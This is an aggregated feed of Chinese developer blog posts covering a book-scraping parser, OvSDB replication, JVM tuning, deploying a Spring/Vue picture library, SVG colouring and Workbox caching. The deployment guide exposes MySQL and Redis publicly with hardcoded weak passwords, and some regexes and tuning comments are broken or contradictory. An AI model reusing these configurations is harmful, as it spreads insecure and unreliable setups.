  return content as bookInfo;
};

const handlerCatelogs = (content: bookInfo) => {
  const array = content.links || [];

  type LinkType = {
    href: string;
    text: string;
  };
  // 过滤重复的 href
  const uniqueArray = Array.from(new Set(array.map((item) => item.href))).map((href) =>
    array.find((item) => item.href === href),
  ) as LinkType[];

  // 按照 xxxx.html 从小到大排序
  uniqueArray.sort((a, b) => {
    const numA = parseInt(a?.href?.split("/")?.pop()?.split(".html")[0] || "0");
    const numB = parseInt(b?.href?.split("/")?.pop()?.split(".html")[0] || "0");
    return numA - numB;
  });

  content.links = uniqueArray;
  content.origins = [
    {
      origin: content.origin,
      pathname: content.pathname,
    },
  ];
  
  return content;
};

注意

  1. handlerCatelogs里有对章节列表做了一个简单的处理,过滤了重复的 href 和按照 xxxx.html 从小到大排序。绝大部分站点都是按照这个规则排序,但是也有特殊情况,所以这样的处理方式是不准确的。
  2. 最好是在配置里面单独维护章节元素的选择器和重复处理,并在getDeepthHtml里新增对应的解析内容

章节内容的解析

和章节解析类似

const getDeepthPage = async (url: string, content: AnyObject = {}) => {
  try {
    const res = (await api.getContentByApp(url)) as string;
    if (res) {
      const parse = URLPolyfill(url);
      const targetSource = source.find((i) => i.origin === parse.origin);
      if (targetSource) {
        const $ = cheerio.load(res);
        const { wrapContainer, titleContainer, pagination, lineBreak } = targetSource.content.rules;

        if (!content.isParse) {
          content = {
            isParse: true,
            text: "",
            title: $(titleContainer.selector).text() || "",
          };
        }
        if (lineBreak === "br") {
          const txtElement = $(wrapContainer.selector);
          // 将 <br> 标签替换为 \n
          const modifiedHtml = txtElement.html()?.replace(/<br\s*\/?>/g, "\n");
          // 获取修改后的文本内容
          const text = cheerio.load(modifiedHtml || "").text();
          content.text += text;
        } else {
          $(wrapContainer.selector).each((index, element) => {
            const text = $(element).text();
            content.text += `${text}\n`;
          });
        }

        if (pagination) {
          const nextPagination = $(pagination.selector).last();
          const nextPath = nextPagination.attr("href") || "";
          const nextPathText = nextPagination.text();

          if (nextPath.startsWith("/") && nextPathText === "下一页") {
            content = await getDeepthPage(`${parse.origin}${nextPath}`, content);
          }
        }
      }
    }
  } catch (error) {
    console.log(error, "error");
    return content;
  }

  return content as ContentParser;
};

相关

总结

其实书源解析的实现很简单,难点在于对各个书源的维护。

  1. 不同网站的请求方式不同,返回结构也不同(get,post,html,json等)。还有的网站做了一些反爬虫措施(时间限制,ua,ip限制等), 要支持这些不同类型的书源就需要单独每一种类型的站点做定制化配置。都是一些比较繁琐的工作。
  2. 不同网站对移动端和pc端的处理也不尽相同(有的是重定向到一个 m.xxx.com新地址,有的是通过ua标识针对不同端返回不同的html结构,还有的未作处理),要想更完善的实现书源管理,需要兼容不同端和不同站点。
  3. 第三方网站的具有不稳定性,网站任何一项变动都有可能导致书源解析的内容不准确。所以得及时维护每个书源的解析配置。

by 何日 at January 20, 2025 03:36 AM

juejin backend

OvSDB 副本同步机制

Source of truth database database whose content will be replicated to another database

数据源数据库,其内容将被复制到另一个数据库

  • Active server: ovsdb-server 提供到真实数据库源的 RPC 接口。
  • Standby server: ovsdb-server 提供RPC接口到数据库,不是真实的来源

设计

复制的总体设计包括一个 ovsdb-server(主服务器)将其数据库的状态通信给另一个ovsdb-server(备用服务器),以便后者将其自己的数据库保持在相同的状态。为了实现这一点,备用服务器充当主服务器的客户机,也就是说,它发送一个监视器请求,以便与活动服务器数据库中的更改保持同步。当来自主服务器的通知到达时,备用服务器执行必要的一组操作,使其数据库达到与主服务器数据库相同的状态:

image.png

备用服务器通过配置 --sync-from=server 选项连接到主服务器, 此选项将导致备用服务器在每次主循环迭代中尝试向主服务器发送监视器请求,直到主服务器响应为止。

当发送监视器请求时,备用服务器正在做以下事情:

  1. 擦除为其提供 RPC 接口的数据库的内容
  2. 打开 jsonrpc 通道与主服务器通信
  3. 获取位于主服务器中的所有数据库
  4. 对于在主服务器和备用服务器中具有相同模式的每个数据库:构造并发送一个监视请求消息,指定将被监视的表(即数据库上除黑名单[*]之外的所有表)。
  5. 将备用数据库设置为主数据库的当前状态

当网络不稳定,主备切换频繁,每次都是全量同步

发送监控器请求消息后,备用服务器将持续接收请求中指定的表发生更改的通知。后续将详细介绍处理此通知的过程。

主备流表同步范围 [*] 可以通过命令行选项——sync-exclude-tables=db:table[,db:table]…设定,其中 db 对应表所在的数据库。

同步业务进程

复制过程包括处理在备用服务器中收到的更新通知,这些通知是由先前发送到主服务器的监视器请求引起的。在每次循环迭代中,备用服务器尝试从主服务器接收消息,该消息可以是错误消息、回显消息(用于保持连接活动)或更新通知。如果消息是致命错误,备用服务器将与活动服务器断开连接,而不会丢失复制的数据。如果是回显消息,备用服务器也将用回显(echo)消息进行应答。如果消息是更新通知,则会进行以下处理:

  1. 创建一个新事务。

  2. 从通知的 params 成员中获取 对象

  3. 对于 对象中的每个 ,根据对象成员存在的条件检查应该执行哪些操作:

    • 如果旧成员不存在,则使用从新成员执行插入操作
    • 如果旧成员存在而新成员不存在,则使用从旧成员执行删除操作
    • 如果旧成员和新成员都存在,则从新成员中使用执行更新操作
  4. 提交事务。 如果在复制过程中发生错误,则通过重新发送新的监视器请求重新启动所有复制,如“设置复制”一节所述。

由于是事务的设计,所有重试都是“所有复制”。


# sets the name of the active server

ovsdb-server/set-remote-ovsdb-server {server}
   
# gets the name of the active server

ovsdb-server/get-remote-ovsdb-server
   

# causes the server to attempt to send a monitor request every main loop iteration

ovsdb-server/connect-remote-ovsdb-server
   
# closes the jsonrpc channel between the active server and frees the memory used for the replication configuration.
   
ovsdb-server/disconnect-remote-ovsdb-server

# sets the tables list that will be excluded from being replicated

ovsdb-server/set-sync-exclude-tables {db:table,...}
   

# gets the tables list that is currently excluded from replication

ovsdb-server/get-sync-excluded-tables
   

by bobz965 at January 20, 2025 03:33 AM

oschina news industry

微信 iOS 版 8.0.55 大规模灰度 CallKit

近日,大量 iOS 版微信用户在社交平台反馈,自己的微信在更新 8.0.55 版本后开始支持 CallKit 功能,并适配灵动岛通知样式。在有微信语音和视频通话时,会在横幅位置显示来电的名称、拒绝和接受按钮选项。

据了解,苹果 CallKit 功能指可将第三方网络通信集成在 iPhone 自带的通话功能中,以提供更灵活的通话体验。微信支持 CallKit 后,即便微信在后台或者处于关闭状态,包括 iPhone 锁屏状态下,好友拨打的微信语音通话也能像普通电话一样,在系统级的通话界面显示。

同时因为接入 CallKit 功能,其通话提醒弹窗会以「灵动岛」形式显示,「微信登上灵动岛」相关话题也冲上热搜。

目前,微信 CallKit 功能目前小范围开放使用,仍有不少用户尚未获得更新。此外,有开发者表示,鸿蒙系统也将支持微信 CallKit 功能。

by 来源: OSCHINA at January 20, 2025 03:32 AM

juejin backend

算法框架flink集群内存调优

一般是由于flink内存分配的策略以及回收不及时导致的

现在taskmanager当中开启 rest.flamegraph: true

配置JVM dashboard观察gc log

参考教程: 

  1. 替换linux自带的glibc回收器为jmalloc

export MALLOC_MMAP_THRESHOLD_=8192 (大于某个值, 使用mmap方式申请内存,free掉之后会立即还给操作系统,默认128k)

export MALLOC_ARENA_MAX=4 (MALLOC_ARENA_MAX是在效率和内存消耗之间做选择. 使用默认的MALLOC_ARENA_MAX能获得最佳效率, 但是可能消耗更多的内存. 减少MALLOC_ARENA_MAX能减少内存使用, 但是效率可能稍微低一些)

如果替换完后内存没有明显减少 考虑基于G1回收器调优

2.基于G1的调优

G1大对象以及并发GC调优
以4core 8g 4个进程为单位计算
   
  #G1当中大对象的region区域大小,
  -XX:G1HeapRegionSize=33554432 (32M)
  -XX:InitialHeapSize=524288000 (500M)
  # 默认值45,超过这个45%的阈值,开始触发全局标记,
  #进而触发mixed gc,注意这个值表示的是:
  #老年区已使用空间/整个堆空间
  # 压力转移到老年代,强制触发full gc
  -XX:InitiatingHeapOccupancyPercent=45 

  
  #两次gc的暂停时间间隔
  -XX:MaxGCPauseMillis=200 (ms)
  -XX:MaxHeapSize=524288000 

  #GC线程多一些,加快回收
  #串行执行的GC线程数
  -XX:ParallelGCThreads=8 
  #并发执行的线程数
  -XX:ConcGCThreads=16 
  # 去除内联编译缓存
  -XX:ReservedCodeCacheSize=268435456(256M)
  -XX:-TieredCompilation 
  -XX:+UseCodeCacheFlushing
  #关闭指针压缩 UseCompressedOops会使用32-bit的offset
  #来代表java object的引用,
  #而UseCompressedClassPointers则使用32-bit的offset来
  #代表64-bit进程中的class pointer;
  #可以使用CompressedClassSpaceSize来设置这块的空间大小 
  -XX:+UseCompressedClassPointers 
  -XX:+UseCompressedOops 
  -XX:CompressedClassSpaceSize=260046848(248M)

  #打印GC参数
  -XX:+PrintGC 
  -XX:+PrintGCTimeStamps  

  
  
  -XX:+UseG1GC

by 语落心生 at January 20, 2025 03:31 AM

juejin career

我干了两个月的大项目,开源了!

大家好,我是程序员鱼皮。我肝了 2 个多月的大项目《智能协同云图库》,终于完结了!

为了让更多同学参与学习,我特么直接把所有代码 完整开源

开源仓库:github.com/liyupi/yu-p…

光分享源码还不够,我还录制了一套将源码快速上线的视频教程:bilibili.com/video/BV1ak… ,有关这个项目的介绍、前后端部署方法、项目功能演示,都在这个视频里了~

不过虽然代码是开源的,项目的视频教程 + 文字教程 + 简历写法 + 面试题解是仅供 编程导航 的鱼友学习的,毕竟我连续肝了 2 个月嘛。

下面分享将智能协同云图库项目上线的文字教程,推荐配合前面的视频教程食用。


本节重点内容是项目部署上线,可以独立学习,希望大家能够掌握这种快速上线项目的方法。

包括:

  1. 服务器初始化
  2. 部署规划
  3. 安装依赖
  4. 后端部署
  5. 前端部署
  6. 测试验证
  7. 扩展知识

一、服务器初始化

首先购买一台服务器,各大云服务商的新用户都比较便宜,建议先看 云产品 页面。

推荐选择轻量应用服务器,提供了很多开箱即用的模板,帮我们预装了环境和软件,省时省力。

鱼皮这里选择一台预装了宝塔 Linux 应用的轻量应用服务器,配置为 2 核 2 G,部署咱们的项目足够了。应用模板一般选择最新版本就好了,如下图:

宝塔 Linux 是一个可视化 Linux 运维管理工具,提供了很多帮助我们管理服务器的功能,适合中小团队或者个人学习使用。

购买好服务器后,进入控制台,可以看到新增的服务器信息,注意不要主动对外暴露公网 IP!

点击服务器进入详情页,在防火墙标签页中放通 8888 宝塔面板端口,否则无法在自己的电脑上访问宝塔。

新版本的轻量应用服务器已经自动为我们放通该端口。否则需要手动新增一条防火墙规则:

进入应用管理标签页,登录宝塔。

首次登录时,需要先登录服务器,通过输入命令的方式获取宝塔默认账号密码,如图:

点击登录后,进入到 web 终端,复制脚本并执行:

根据终端输出的信息,访问宝塔面板,输入初始用户名和密码:

首次进入宝塔时,会提示我们安装环境,这里推荐安装 LNMP(包含 Nginx 服务器),适合部署前后端分离的项目:

首次进入宝塔面板时,记得修改面板账号密码(每次修改完都要重新登录):

二、部署规划

在正式操作前后端部署前,我们要先进行一个规划,比如要部署哪些项目和服务、需要哪些依赖、占用哪些端口等。

1、获取源码

本项目代码开源:github.com/liyupi/yu-p…

建议新手学习和部署 yu-picture-backend 目录,使用传统的分层架构:github.com/liyupi/yu-p…

有一定经验的同学可以学习部署 yu-picture-backend-ddd 目录,使用 DDD 领域驱动设计:github.com/liyupi/yu-p…

但这两种架构的部署方式是一致的~

2、部署方案

为了提高效率,本项目前端和后端均使用宝塔面板进行部署,可以很方便地管理服务器。

涉及到具体的部署方式,前端要遵循 Vue 项目的部署模式,基于 Nginx 运行;后端可以直接利用宝塔的 Java 项目管理器运行 jar 包。

在鱼皮编程导航的 代码生成器共享平台项目 中,讲解过宝塔 + Nginx + 后端 Java 项目管理器(jar 包)的部署方式。在鱼皮编程导航的 AI 答题应用平台项目 中,讲解过 Vercel + Docker + 云托管平台的部署方式,感兴趣的同学可以学习。基本上学会这几种部署方式,能够应对绝大多数部署需求了。

3、地址规划

前端:通过 Nginx 进行转发,访问地址为 http://{域名}

后端:通过 Nginx 进行转发,访问地址为 http://{域名}/api。实际运行在 8123 端口。JDK 建议选择 17 版本!

为什么要用 Nginx 转发?

前端和后端域名一致,保证不会出现跨域问题。

Nginx:服务器 80 端口,默认已安装。

数据库:服务器 3306 端口,默认已安装。

Redis:服务器 6379 端口,需要手动安装。

4、注意事项

做好规划后,我们需要在腾讯云控制台的防火墙中开通需要外网访问的服务端口,比如 MySQL 和 Redis:

三、安装依赖

1、数据库

宝塔面板已经自动安装 MySQL 数据库,我们可以直接使用。

先为后端项目添加一个数据库。数据库名称和我们项目需要的数据库名称保持一致(此处为 mianshiya),注意用户名、密码和访问权限:

在 IDEA 中打开后端项目,通过数据库面板在本地检查连接是否正常:

执行脚本,初始化库表:

记得验证数据库表是否创建成功,如下图:

2、Redis

在宝塔面板的软件商店中,搜索并安装 Redis:

版本选择默认的即可:

安装完成后,需要配置 Redis,开启远程访问并配置密码,否则我们自己的电脑是无法连接 Redis 的:

修改配置后,一定要重载配置才能生效:

最后,在 IDEA 数据库面板中验证本地能否连接远程 Redis:

3、Java 环境

要部署 Java 项目,必须安装 JDK。在宝塔面板中,可以通过下图的方式快速安装指定版本的 JDK。此处我们先安装 JDK 17:

建议多安装几个版本,比如 JDK 8、11、17,需要用哪个版本的时候可以随时切换。

4、其他服务

比如 腾讯云 COS 对象存储阿里云百炼 AI,可以去对应的官网开通。

如果不会开通的话,可以通过第 4 章教程开通 COS 对象存储,第 9 章教程开通阿里云百炼 AI。

注意,要给对象存储增加该服务器 IP(或者实际访问前端域名)的跨域配置,否则编辑图片时将无法正确加载图片。


接下来,我们分别进行后端和前端部署。

四、后端部署

1、修改配置

修改 application-prod 生产环境配置,包括数据库、Redis、对象存储、阿里云百炼 AI 的 key 等,替换为上述安装依赖时指定的配置(如用户名、密码)。

注意为了性能,还要关闭 MyBatis Plus 的日志;为了安全,要给 Knife4j 接口文档设置用户名和密码。

参考配置如下:

# 线上配置文件
# @author <a href="https://github.com/liyupi">程序员鱼皮</a>
# @from <a href="https://codefather.cn">编程导航</a>
server:
port8123
spring:
 # 数据库配置
 # todo 需替换配置
datasource:
  driver-class-name: com.mysql.cj.jdbc.Driver
  urljdbc:mysql://81.69.229.63:3306/yu_picture
  username: yu_picture_root
  password: yu_picture_123456
 # Redis 配置
 # todo 需替换配置
redis:
  database0
  host81.69.229.63
  port6379
  timeout5000
  password123456
mybatis-plus:
configuration:
   # 生产环境关闭日志
  log-impl''
# 接口文档配置
knife4j:
basic:
  enable: true
  username: root
  password123456
# 对象存储配置
cos:
client:
  host: xxx
  secretId: xxx
  secretKey: xxx
  region: xxx
  bucket: xxx
# 阿里云 AI 配置
aliYunAi:
apiKey: xxx

2、打包部署

首先更改 pom.xml 文件的打包配置,删除掉主类配置的 skip 配置,才能打包:

<build>
   <plugins>
       <plugin>
           <groupId>org.springframework.boot</groupId>
           <artifactId>spring-boot-maven-plugin</artifactId>
           <version>${spring-boot.version}</version>
           <configuration>
               <mainClass>com.yupi.yupicturebackend.YuPictureBackendApplication</mainClass>
               <skip>true</skip>
           </configuration>
       </plugin>
   </plugins>
</build>

在 IDEA 中打开后端项目,忽略测试并打包:

打包成功,得到 jar 包文件:

上传 jar 包到服务器,此处为了方便,就放到 web 根目录:

然后添加 Java 项目,在项目执行命令中,必须指定生产环境的配置! 还可以根据需要调整内存:

启动成功后,能够看到状态和端口占用如图:

如果发现启动失败,需要先观察日志,下图仅为一个示例:

但是,我们现在无法通过浏览器访问接口文档:http://81.69.229.63:8123/api/doc.html

这是因为我们的服务器防火墙没有放开 8123 端口。这里我们故意不放开,因为在之前的部署规划中,后端需要通过 Nginx 进行转发,从而解决跨域问题。

3、Nginx 转发

新建一个 Nginx 站点,域名填写当前服务器 IP 或者自己的域名,根目录随意填写即可(只要不包含中文):

如果访问的是后端接口(地址有 /api 前缀),则 Nginx 将请求转发到后端服务,对应配置代码如下:

location /api {
 proxy_pass  http://127.0.0.1:8123;
 proxy_set_header Host $proxy_host;
 proxy_set_header X-Real-IP $remote_addr;
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 proxy_buffering off;
 proxy_set_header Connection "";
}

但是,对于本项目,光有 HTTP 转发配置还不够!后端还需要提供 WebSocket 连接,所以也要对 WebSocket 进行转发,再给 Nginx 补充下列配置:

# 代理 WebSocket 连接 (专门用于 WebSocket 请求)
location /api/ws {
 proxy_pass http://127.0.0.1:8123;
 proxy_http_version 1.1;
 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header Connection "upgrade";
 proxy_set_header Host $host;
 proxy_set_header X-Real-IP $remote_addr;
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 proxy_buffering off;
 proxy_read_timeout 86400s;
}

修改 Nginx 配置如图:

修改完后,就可以通过 80 端口(可以省略)访问到接口了。

一定要注释掉下列配置! 否则访问接口文档时,静态资源的加载可能会出错。因为浏览器会从本地缓存加载资源,而不是动态请求资源。

五、前端部署

前端部署可以参考 Vite 官方文档:cn.vitejs.dev/guide/stati…

分为修改配置、打包部署和 Nginx 转发这 3 个步骤。

1、修改配置

线上的前端需要请求线上的后端接口,所以需要修改 request.ts 文件中的请求地址为线上:

// 区分开发和生产环境
const DEV_BASE_URL = "http://localhost:8123";
const PROD_BASE_URL = "http://81.69.229.63";
// 创建 Axios 实例
const myAxios = axios.create({
 baseURL: PROD_BASE_URL,
 timeout: 10000,
 withCredentials: true,
});

此外,由于本项目用到了 WebSocket,还要同步修改 pictureEditWebSocket.ts 文件中的 WebSocket 的连接地址:

const DEV_BASE_URL = "ws://localhost:8123";
const PROD_BASE_URL = "ws://81.69.229.63";
const url = `${PROD_BASE_URL}/api/ws/picture/edit?pictureId=${this.pictureId}`

2、打包部署

1)参考 Vite 官网,在 package.json 文件中定义 pure-build 命令:

{
 "scripts": {
   "dev": "vite",
   "pure-build": "vite build",
   "build": "run-p type-check "build-only {@}" --",
}
}

为什么明明已经有 build 命令了,我们还要自己定义 pure-build 命令呢?

因为脚手架内置的 build 命令会执行类型检查,如果项目代码中有任何类型不规范的地方,都会导致打包失败!

虽然可以自己一个个修复类型,但是太影响效率了,得不偿失,所以引入一个更干净的构建命令。

2)执行 pure-build 命令,执行打包构建。

注意,如果 Node.js 版本较低,会构建失败,这时可以到 官网 安装更新的版本,比如 v20.17.0 等长期支持版本。

构建成功后,可以得到用于部署的静态文件 dist 目录:

把 dist 目录下的所有文件上传到服务器上(可以新建一个 yu-picture-frontend 目录)。文件较多时,建议先在本地压缩,上传压缩包到服务器后再解压。如图:

3、Nginx 转发

一般来说,用户无法直接访问服务器上的文件,需要使用 Nginx 提供静态文件的访问能力。

修改已有站点的网站目录配置,指向前端文件根目录:

然后访问服务器地址(或者自己配置的域名),就能打开前端网站了:

但是经过验证,目前访问除了主页外的其他页面(比如 /add_picture),如果刷新页面,就会出现 404 错误。

这个问题是由于 Vue 是单页面应用(前端路由),打包后的文件只有 index.html,服务器上不存在对应的页面文件(比如 /add_picture.html),所以需要在 Nginx 配置转发。如果找不到某个页面文件,就加载主页 index.html 文件。

修改 Nginx 配置,补充下列代码:

location / {
 try_files $uri $uri/index.html /index.html;
}

如图:

保存配置后,再次刷新页面,可以正常访问。

六、测试验证

最后,我们来对上线效果进行验证。

1)用户注册登录

然后通过修改数据库的方式,将该用户的角色设置为管理员,从而使用更多功能。

2)进入图片管理 => 批量创建图片页面,抓取一批图片作为网站的初始数据

3)进入主页,查看到了公共图库

4)创建一个私有空间

5)通过文件上传和 URL 上传给私有空间上传一些图片:

6)查看私有空间的图片,尝试各种搜索功能(比如按颜色搜索):

7)使用 AI 扩图功能来编辑图片(基于 阿里云百炼 AI 实现)

8)创建团队空间

9)给团队添加一位成员,设置角色为 “编辑者”

10)给团队空间上传一张图片,然后让 2 名成员同时进入编辑:

如果编辑时,图片无法正常加载,可能是因为对象存储没有配置跨域,补充配置即可。

七、扩展知识

再分享一种更快部署后端的方法,可以利用 Docker + Docker Compose 快速部署后端依赖和后端项目本身。

可以把 Docker 容器技术理解为安装操作系统时的镜像、或者安装 APP 时的安装包,只要定义好 Docker 配置文件,就能快速基于配置启动服务或项目。

而 Docker Compose 可以组合编排多个 Docker 容器,按照顺序快速启动多个服务或项目。

给大家提供一个示例的 Docker Compose 配置文件,定义了 MySQL、Redis 和 Spring Boot 项目的启动,大家可以基于这个文件进行定制修改:

# Docker Compose 文件,用于 Spring Boot 项目,依赖 MySQL 和 Redis

version: '3.8'

services:

 # MySQL 数据库服务
mysql:
  image: mysql:8.0
  container_name: mysql_db
  restart: always
  environment:
    MYSQL_ROOT_PASSWORD: root           # 设置 MySQL root 用户的密码
    MYSQL_DATABASE: yu_picture          # 更新为 yu_picture 数据库
    MYSQL_USER: root                    # 更新为 root 用户
    MYSQL_PASSWORD: 123456              # 更新为 123456 密码
    TZ: Asia/Shanghai                    # 设置时区为东八区
  ports:
    - "3306:3306"                       # 映射 MySQL 端口到主机
  volumes:
    - mysql_data:/var/lib/mysql         # 数据持久化到宿主机(使用 Docker 管理的命名卷)
  command: --default-authentication-plugin=mysql_native_password

 # Redis 缓存服务
redis:
  image: redis:5.0
  container_name: redis_cache
  restart: always
  ports:
    - "6379:6379"                      # 映射 Redis 端口到主机
  volumes:
    - redis_data:/data                  # 数据持久化到宿主机(使用 Docker 管理的命名卷)
  environment:
    TZ: Asia/Shanghai                    # 设置时区为东八区

 # Spring Boot 应用服务
springboot_app:
  image: openjdk:11-jre-slim
  container_name: springboot_app
  working_dir: /app
  volumes:
    - .:/app                            # 挂载本地目录到容器中
  ports:
    - "8123:8123"                      # 映射 Spring Boot 端口到主机
  environment:
    TZ: Asia/Shanghai                   # 设置时区为东八区
  command:"java""-jar""target/yu-picture-backend-0.0.1-SNAPSHOT.jar""--spring.profiles.active=prod" ]  # 使用 prod 配置文件启动 Spring Boot 应用
  depends_on:
    - mysql
    - redis

# 使用 Docker 管理的命名卷
volumes:
mysql_data:
redis_data:

有了配置文件后,就可以利用宝塔面板自带的 Docker 能力,去进行项目的部署了,感兴趣的同学可以尝试一下:

在鱼皮编程导航的 OJ 在线判题项目教程 中,讲解过基于 Docker + Docker Compose 快速部署微服务项目的方法,视频地址:www.bilibili.com/video/BV1Cp…

最后

至此,整个项目已经完成上线,希望大家能通过这个项目掌握企业级项目的开发、优化和上线方法,得到全方面编程技能和程序员素养的提升。

更多

💻 编程学习交流:编程导航 📃 简历快速制作:老鱼简历 ✏️ 面试刷题神器:面试鸭

by 程序员鱼皮 at January 20, 2025 03:30 AM

juejin frontend

SVG图标颜色跟随文字颜色变化的简单实现

0.前言

项目中经常会遇到这样一个小需求:某个按钮hover的时候按钮字体要变色,同时按钮图标也要变色。这个时候如果写JS条件判断那就恶心死了,有没有比较简单的办法呢?

1.准备demo

这里我随便找了个图标,用div做了一个按钮,比较粗糙但是不影响效果:

<h1>假装他是一个按钮</h1>
<div class="box">
    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 20 20" fill="none">
        <path fill-rule="evenodd" clip-rule="evenodd"
            d="M5 3C3.89543 3 3 3.89543 3 5V15C3 16.1046 3.89543 17 5 17H15C16.1046 17 17 16.1046 17 15V5C17 3.89543 16.1046 3 15 3H5ZM12.4281 8.75417C12.4546 8.74866 12.4816 8.74588 12.5086 8.74585C13.2206 8.76763 13.7861 9.3701 13.7835 10.1041C13.786 10.8378 13.221 11.44 12.5094 11.4622C12.49 11.4616 12.4708 11.4597 12.4517 11.4564C12.2345 12.3303 11.4726 12.9433 10.5972 12.9485C10.4688 13.1669 10.2392 13.3004 9.99138 13.3008C9.59795 13.3008 9.27901 12.9721 9.27901 12.5667C9.27881 12.372 9.35372 12.1852 9.48726 12.0474C9.6208 11.9096 9.80202 11.8321 9.991 11.8321C10.2079 11.8327 10.4126 11.9357 10.5465 12.1115C10.8455 12.1249 11.1369 12.0122 11.3535 11.7994C11.5702 11.5865 11.6932 11.2919 11.6944 10.9834V9.39401C11.6933 8.4251 10.9313 7.63994 9.991 7.63874C9.05006 7.64016 8.28804 8.42661 8.28815 9.39619L8.2916 10.9043C8.29196 11.0523 8.23522 11.1945 8.13386 11.2995C8.0325 11.4044 7.89483 11.4636 7.75113 11.464H7.47878V11.462H7.47437C6.76267 11.4399 6.19759 10.8376 6.2002 10.1039C6.19759 9.37023 6.76267 8.76794 7.47437 8.74585C7.50145 8.74588 7.52848 8.74866 7.55503 8.75417C7.83964 7.60659 8.84192 6.803 9.99138 6.80078C11.141 6.80282 12.1435 7.60645 12.4281 8.75417Z"
            fill="#777C99" />
    </svg>
    <span class="text">客服</span>
</div>
.box {
    display: flex;
    align-items: center;
    width: fit-content;
    padding: 5px 10px;
    border-radius: 4px;
    border: 1px solid black;
    cursor: pointer;
    background-color: #fff;
}

.box:hover {
    background-color: #466AFF;
    color: white;
}

可以看到图标并没有跟着字体一起变成白色:

2.SVG中fill属性

SVG图标各个部分的颜色是由属性fill控制的:

<!-- svg中fill表示整体的填充色,path中fill表示这部分的填充色,当前的填充色为#777C99 -->
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 20 20" fill="none">
    <path fill-rule="evenodd" clip-rule="evenodd"
        d="...省略"
        fill="#777C99" />
</svg>

让我们随便改一个颜色看一下效果:

<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 20 20" fill="red">
    <path fill-rule="evenodd" clip-rule="evenodd"
        d="...省略"
        fill="red" />
</svg>

3.使用currentColor关键字

fill="currentColor"是一个非常实用的技巧:

  • 让SVG图标自动继承父元素的文字颜色
  • 减少了维护成本,只需要修改一处color属性
  • 特别适合hover、active等状态下的颜色联动

by 大苦茶籽 at January 20, 2025 03:28 AM

WorkboxWebpackPlugin 使用指南

介绍

Workbox 是一个由 Google 提供的开源库,它简化了在 Web 应用中集成 Service Worker 和缓存管理的过程。通过 Workbox,你可以方便地创建缓存策略,提升应用的离线体验,减少网络请求,提高应用的响应速度。

本文将详细介绍如何使用 Workbox,包括基本的安装、配置、常见问题以及解决方案。我们将涵盖以下内容:

  1. 安装和配置 Workbox
  2. 配置缓存策略
  3. 配置 Service Worker
  4. 常见问题及解决方案

1. 安装 Workbox

要开始使用 Workbox,首先需要将其添加到你的项目中。可以通过 npm 安装 Workbox 插件来帮助你更容易地配置和管理 Service Worker。

npm install workbox-webpack-plugin --save-dev

2. 配置 Workbox 插件

配置 Webpack

在 Webpack 配置中使用 workbox-webpack-plugin 插件非常简单。以下是如何在 Webpack 配置中集成 Workbox 插件:

const WorkboxPlugin = require('workbox-webpack-plugin');

module.exports = {
  plugins: [
    new WorkboxPlugin.GenerateSW({
      clientsClaim: true,
      skipWaiting: true,
      runtimeCaching: [
        {
          urlPattern: /.(?:js|css|html|json|svg|woff2|woff|ttf|eot)$/,
          handler: 'NetworkFirst',
          options: {
            cacheName: 'static-resources',
            expiration: {
              maxEntries: 100,
              maxAgeSeconds: 24 * 60 * 60,
            },
          },
        },
        {
          urlPattern: /^https://your-api.com/,
          handler: 'NetworkFirst',
          options: {
            cacheName: 'api-cache',
            expiration: {
              maxEntries: 10,
              maxAgeSeconds: 5 * 60,
            },
          },
        },
      ],
    }),
  ],
};

解释

  • clientsClaim:确保 Service Worker 在安装时立即控制所有页面。
  • skipWaiting:允许 Service Worker 在安装后立即激活。
  • runtimeCaching:配置缓存策略。可以根据 URL 模式指定不同的缓存策略,例如使用 NetworkFirstCacheFirst

3. 配置缓存策略

Workbox 提供了几种常用的缓存策略来帮助你管理资源缓存。以下是一些常见的缓存策略配置示例。

3.1 使用 NetworkFirst 策略

NetworkFirst 策略意味着浏览器首先会尝试从网络获取资源,如果网络不可用,则从缓存中获取。适用于动态资源,如 API 响应或用户信息。

runtimeCaching: [
  {
    urlPattern: //api//,
    handler: 'NetworkFirst',
    options: {
      cacheName: 'api-cache',
      expiration: {
        maxEntries: 50,
      },
    },
  },
];

3.2 使用 CacheFirst 策略

CacheFirst 策略意味着浏览器首先会从缓存获取资源,如果缓存中没有,则从网络获取。适用于静态资源,如图像、CSS 和 JavaScript 文件。

runtimeCaching: [
  {
    urlPattern: /.(?:js|css|html|json|svg|woff2|woff|ttf|eot)$/,
    handler: 'CacheFirst',
    options: {
      cacheName: 'static-resources',
      expiration: {
        maxEntries: 100,
        maxAgeSeconds: 24 * 60 * 60,
      },
    },
  },
];

3.3 使用 StaleWhileRevalidate 策略

StaleWhileRevalidate 策略意味着浏览器首先会从缓存获取资源,同时在后台请求网络。如果后台网络请求成功,缓存会被更新。适用于需要快速响应的内容,如字体或常见的图像资源。

runtimeCaching: [
  {
    urlPattern: /.(?:png|jpg|jpeg|gif|webp)$/,
    handler: 'StaleWhileRevalidate',
    options: {
      cacheName: 'image-cache',
      expiration: {
        maxEntries: 50,
      },
    },
  },
];

4. 配置 Service Worker

在 Service Worker 中,通常会有两个重要的生命周期事件:installactivate。在这些事件中,你可以控制资源的缓存和更新。

安装事件

install 事件中,你通常会缓存一些关键资源,确保它们在离线时可用:

self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open('static-resources').then((cache) => {
      return cache.addAll([
        '/index.html',
        '/styles.css',
        '/script.js',
      ]);
    })
  );
});

激活事件

activate 事件中,你通常会清理旧的缓存,确保服务工作者总是为最新的资源提供服务:

self.addEventListener('activate', (event) => {
  const cacheWhitelist = ['static-resources', 'image-cache'];
  event.waitUntil(
    caches.keys().then((cacheNames) => {
      return Promise.all(
        cacheNames.map((cacheName) => {
          if (!cacheWhitelist.includes(cacheName)) {
            return caches.delete(cacheName);
          }
        })
      );
    })
  );
});

Fetch 事件

fetch 事件用于拦截网络请求,并决定如何响应(从网络获取、从缓存获取等):

self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request).then((cachedResponse) => {
      if (cachedResponse) {
        return cachedResponse;
      }
      return fetch(event.request);
    })
  );
});

5. 常见问题及解决方案

5.1 Service Worker 只在 localhost 上注册

